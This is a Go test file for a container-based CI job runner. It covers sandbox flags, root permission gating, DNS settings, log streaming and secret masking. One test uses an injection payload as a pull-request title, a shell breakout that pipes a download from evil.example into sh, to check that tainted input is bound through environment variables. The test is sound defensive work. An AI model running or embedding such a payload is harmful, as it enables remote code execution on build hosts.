Go · 10268 bytes Raw Blame History
1 // SPDX-License-Identifier: AGPL-3.0-or-later
2
3 package engine
4
5 import (
6 "context"
7 "errors"
8 "io"
9 "reflect"
10 "strings"
11 "testing"
12 "time"
13 )
14
15 type recordingRunner struct {
16 name string
17 args []string
18 err error
19 }
20
21 func (r *recordingRunner) Run(_ context.Context, name string, args []string, _, _ io.Writer) error {
22 r.name = name
23 r.args = append([]string{}, args...)
24 return r.err
25 }
26
27 type loggingRunner struct{}
28
29 func (loggingRunner) Run(_ context.Context, _ string, _ []string, stdout, stderr io.Writer) error {
30 _, _ = stdout.Write([]byte("hello "))
31 _, _ = stderr.Write([]byte("world\n"))
32 return nil
33 }
34
35 type secretLoggingRunner struct{}
36
37 func (secretLoggingRunner) Run(_ context.Context, _ string, _ []string, stdout, _ io.Writer) error {
38 _, _ = stdout.Write([]byte("hun"))
39 _, _ = stdout.Write([]byte("ter2\n"))
40 return nil
41 }
42
43 func TestDockerExecute_BuildsResourceCappedRunCommand(t *testing.T) {
44 t.Parallel()
45 rec := &recordingRunner{}
46 d := NewDocker(DockerConfig{
47 Binary: "podman",
48 DefaultImage: "runner-image",
49 Network: "none",
50 Memory: "2g",
51 CPUs: "2",
52 Runner: rec,
53 })
54 out, err := d.Execute(t.Context(), Job{
55 ID: 1,
56 RunID: 2,
57 WorkspaceDir: t.TempDir(),
58 Env: map[string]string{"A": "job"},
59 Steps: []Step{{
60 Index: 0,
61 Name: "test",
62 Run: "echo hi",
63 WorkingDirectory: "subdir",
64 Env: map[string]string{"B": "step"},
65 }},
66 })
67 if err != nil {
68 t.Fatalf("Execute: %v", err)
69 }
70 if out.Conclusion != ConclusionSuccess {
71 t.Fatalf("Conclusion: %q", out.Conclusion)
72 }
73 want := []string{
74 "run", "--rm", "--network=none", "--memory=2g", "--cpus=2",
75 "--pids-limit=512", "--read-only",
76 "--tmpfs", "/tmp:rw,exec,nosuid,nodev,size=1g",
77 "--cap-drop=ALL", "--cap-add=DAC_OVERRIDE", "--cap-add=SETGID", "--cap-add=SETUID",
78 "--security-opt=no-new-privileges", "--security-opt=seccomp=/etc/shithubd-runner/seccomp.json",
79 "--ulimit", "nofile=4096:4096", "--ulimit", "nproc=512:512",
80 "--user", "65534:65534",
81 "--workdir=/workspace/subdir",
82 "--mount", rec.args[23],
83 "-e", "A=job", "-e", "B=step",
84 "runner-image", "bash", "-c", "echo hi",
85 }
86 if rec.name != "podman" {
87 t.Fatalf("name: %s", rec.name)
88 }
89 if !reflect.DeepEqual(rec.args, want) {
90 t.Fatalf("args:\ngot %#v\nwant %#v", rec.args, want)
91 }
92 if !strings.HasPrefix(rec.args[23], "type=bind,src=") || !strings.HasSuffix(rec.args[23], ",dst=/workspace,rw") {
93 t.Fatalf("workspace mount arg: %q", rec.args[23])
94 }
95 }
96
97 func TestDockerExecute_RendersTaintedExpressionsThroughInputEnv(t *testing.T) {
98 t.Parallel()
99 rec := &recordingRunner{}
100 d := NewDocker(DockerConfig{
101 DefaultImage: "runner-image",
102 Network: "bridge",
103 Memory: "2g",
104 CPUs: "2",
105 Runner: rec,
106 })
107 malicious := `"; curl evil.example | sh #`
108 if _, err := d.Execute(t.Context(), Job{
109 ID: 1,
110 RunID: 2,
111 HeadSHA: "abc",
112 HeadRef: "refs/heads/trunk",
113 EventPayload: map[string]any{"pull_request": map[string]any{"title": malicious}},
114 WorkspaceDir: t.TempDir(),
115 Steps: []Step{{
116 Run: `echo "${{ shithub.event.pull_request.title }}"`,
117 }},
118 }); err != nil {
119 t.Fatalf("Execute: %v", err)
120 }
121 if got := rec.args[len(rec.args)-1]; got != `echo "${SHITHUB_INPUT_0}"` {
122 t.Fatalf("rendered command: %q", got)
123 }
124 if !containsArg(rec.args, "SHITHUB_INPUT_0="+malicious) {
125 t.Fatalf("input binding missing from args: %#v", rec.args)
126 }
127 }
128
129 func TestDockerExecute_RootRequiresExplicitPermission(t *testing.T) {
130 t.Parallel()
131 for _, tc := range []struct {
132 name string
133 permissions string
134 wantUser string
135 }{
136 {name: "default", permissions: `{}`, wantUser: "65534:65534"},
137 {name: "write-all-does-not-root", permissions: `{"mode":"write-all"}`, wantUser: "65534:65534"},
138 {name: "explicit-root", permissions: `{"per":{"shithub-runner-root":"write"}}`, wantUser: "0:0"},
139 } {
140 t.Run(tc.name, func(t *testing.T) {
141 t.Parallel()
142 rec := &recordingRunner{}
143 d := NewDocker(DockerConfig{
144 DefaultImage: "runner-image",
145 Network: "bridge",
146 Memory: "2g",
147 CPUs: "2",
148 Runner: rec,
149 })
150 if _, err := d.Execute(t.Context(), Job{
151 ID: 1,
152 Permissions: []byte(tc.permissions),
153 WorkspaceDir: t.TempDir(),
154 Steps: []Step{{Run: "id -u"}},
155 }); err != nil {
156 t.Fatalf("Execute: %v", err)
157 }
158 if got := argAfter(rec.args, "--user"); got != tc.wantUser {
159 t.Fatalf("--user: got %q want %q in %#v", got, tc.wantUser, rec.args)
160 }
161 })
162 }
163 }
164
165 func TestDockerExecute_AddsConfiguredDNSServers(t *testing.T) {
166 t.Parallel()
167 rec := &recordingRunner{}
168 d := NewDocker(DockerConfig{
169 DefaultImage: "runner-image",
170 Network: "actions-net",
171 Memory: "2g",
172 CPUs: "2",
173 DNSServers: []string{"172.30.0.10", "172.30.0.11"},
174 Runner: rec,
175 })
176 if _, err := d.Execute(t.Context(), Job{
177 ID: 1,
178 WorkspaceDir: t.TempDir(),
179 Steps: []Step{{Run: "curl https://github.com"}},
180 }); err != nil {
181 t.Fatalf("Execute: %v", err)
182 }
183 if argAfterN(rec.args, "--dns", 0) != "172.30.0.10" || argAfterN(rec.args, "--dns", 1) != "172.30.0.11" {
184 t.Fatalf("dns args missing: %#v", rec.args)
185 }
186 }
187
188 func TestDockerExecute_StreamsStepLogs(t *testing.T) {
189 t.Parallel()
190 d := NewDocker(DockerConfig{
191 DefaultImage: "runner-image",
192 Network: "bridge",
193 Memory: "2g",
194 CPUs: "2",
195 LogChunkBytes: 4,
196 Runner: loggingRunner{},
197 })
198 logs, err := d.StreamLogs(t.Context(), 99)
199 if err != nil {
200 t.Fatalf("StreamLogs: %v", err)
201 }
202 out, err := d.Execute(t.Context(), Job{
203 ID: 99,
204 WorkspaceDir: t.TempDir(),
205 Steps: []Step{{ID: 123, Run: "echo hi"}},
206 })
207 if err != nil {
208 t.Fatalf("Execute: %v", err)
209 }
210 if len(out.StepOutcomes) != 1 || out.StepOutcomes[0].StepID != 123 {
211 t.Fatalf("StepOutcomes: %#v", out.StepOutcomes)
212 }
213 var got []LogChunk
214 for chunk := range logs {
215 got = append(got, chunk)
216 }
217 if len(got) == 0 {
218 t.Fatal("no log chunks streamed")
219 }
220 if got[0].JobID != 99 || got[0].StepID != 123 || got[0].Seq != 0 {
221 t.Fatalf("first chunk: %#v", got[0])
222 }
223 }
224
225 func TestDockerExecute_ScrubsStepLogsAcrossChunkBoundary(t *testing.T) {
226 t.Parallel()
227 d := NewDocker(DockerConfig{
228 DefaultImage: "runner-image",
229 Network: "bridge",
230 Memory: "2g",
231 CPUs: "2",
232 LogChunkBytes: 3,
233 Runner: secretLoggingRunner{},
234 })
235 logs, err := d.StreamLogs(t.Context(), 99)
236 if err != nil {
237 t.Fatalf("StreamLogs: %v", err)
238 }
239 if _, err := d.Execute(t.Context(), Job{
240 ID: 99,
241 WorkspaceDir: t.TempDir(),
242 MaskValues: []string{"hunter2"},
243 Steps: []Step{{ID: 123, Run: "echo secret"}},
244 }); err != nil {
245 t.Fatalf("Execute: %v", err)
246 }
247 var got string
248 for chunk := range logs {
249 got += string(chunk.Chunk)
250 }
251 if got != "***\n" {
252 t.Fatalf("logs: %q", got)
253 }
254 }
255
256 func TestDockerExecute_StreamsOrderedEvents(t *testing.T) {
257 t.Parallel()
258 d := NewDocker(DockerConfig{
259 DefaultImage: "runner-image",
260 Network: "bridge",
261 Memory: "2g",
262 CPUs: "2",
263 LogFlushInterval: time.Hour,
264 Runner: loggingRunner{},
265 })
266 events, err := d.StreamEvents(t.Context(), 99)
267 if err != nil {
268 t.Fatalf("StreamEvents: %v", err)
269 }
270 if _, err := d.Execute(t.Context(), Job{
271 ID: 99,
272 WorkspaceDir: t.TempDir(),
273 Steps: []Step{{ID: 123, Run: "echo hi"}},
274 }); err != nil {
275 t.Fatalf("Execute: %v", err)
276 }
277 var got []Event
278 for event := range events {
279 got = append(got, event)
280 }
281 if len(got) != 2 {
282 t.Fatalf("events: %#v", got)
283 }
284 if got[0].Log == nil || string(got[0].Log.Chunk) != "hello world\n" {
285 t.Fatalf("first event: %#v", got[0])
286 }
287 if got[1].Step == nil || got[1].Step.StepID != 123 || got[1].Step.Conclusion != ConclusionSuccess {
288 t.Fatalf("second event: %#v", got[1])
289 }
290 }
291
292 func TestDockerExecute_FailureMapsToFailureConclusion(t *testing.T) {
293 t.Parallel()
294 d := NewDocker(DockerConfig{
295 DefaultImage: "runner-image",
296 Network: "bridge",
297 Memory: "2g",
298 CPUs: "2",
299 Runner: &recordingRunner{err: errors.New("exit 1")},
300 })
301 out, err := d.Execute(t.Context(), Job{
302 WorkspaceDir: t.TempDir(),
303 Steps: []Step{{Run: "exit 1"}},
304 })
305 if err == nil {
306 t.Fatal("Execute returned nil error")
307 }
308 if out.Conclusion != ConclusionFailure {
309 t.Fatalf("Conclusion: %q", out.Conclusion)
310 }
311 }
312
313 func TestDockerExecute_ContinueOnErrorContinues(t *testing.T) {
314 t.Parallel()
315 rec := &recordingRunner{err: errors.New("exit 1")}
316 d := NewDocker(DockerConfig{
317 DefaultImage: "runner-image",
318 Network: "bridge",
319 Memory: "2g",
320 CPUs: "2",
321 Runner: rec,
322 })
323 out, err := d.Execute(t.Context(), Job{
324 WorkspaceDir: t.TempDir(),
325 Steps: []Step{{Run: "exit 1", ContinueOnError: true}},
326 })
327 if err != nil {
328 t.Fatalf("Execute: %v", err)
329 }
330 if out.Conclusion != ConclusionSuccess {
331 t.Fatalf("Conclusion: %q", out.Conclusion)
332 }
333 }
334
335 func TestDockerExecute_RejectsUnsupportedUses(t *testing.T) {
336 t.Parallel()
337 d := NewDocker(DockerConfig{DefaultImage: "runner-image", Network: "bridge", Memory: "2g", CPUs: "2", Runner: &recordingRunner{}})
338 out, err := d.Execute(t.Context(), Job{
339 WorkspaceDir: t.TempDir(),
340 Steps: []Step{{Uses: "actions/checkout@v4"}},
341 })
342 if !errors.Is(err, ErrUnsupportedUses) {
343 t.Fatalf("error: %v", err)
344 }
345 if out.Conclusion != ConclusionFailure {
346 t.Fatalf("Conclusion: %q", out.Conclusion)
347 }
348 }
349
350 func TestContainerWorkdirRejectsEscapes(t *testing.T) {
351 t.Parallel()
352 for _, wd := range []string{"../x", "/tmp"} {
353 if _, err := containerWorkdir(wd); err == nil {
354 t.Fatalf("containerWorkdir(%q) returned nil error", wd)
355 }
356 }
357 }
358
359 func containsArg(args []string, want string) bool {
360 for _, arg := range args {
361 if arg == want {
362 return true
363 }
364 }
365 return false
366 }
367
368 func argAfter(args []string, flag string) string {
369 for i, arg := range args {
370 if arg == flag && i+1 < len(args) {
371 return args[i+1]
372 }
373 }
374 return ""
375 }
376
377 func argAfterN(args []string, flag string, n int) string {
378 for i, arg := range args {
379 if arg == flag {
380 if n == 0 && i+1 < len(args) {
381 return args[i+1]
382 }
383 n--
384 }
385 }
386 return ""
387 }
388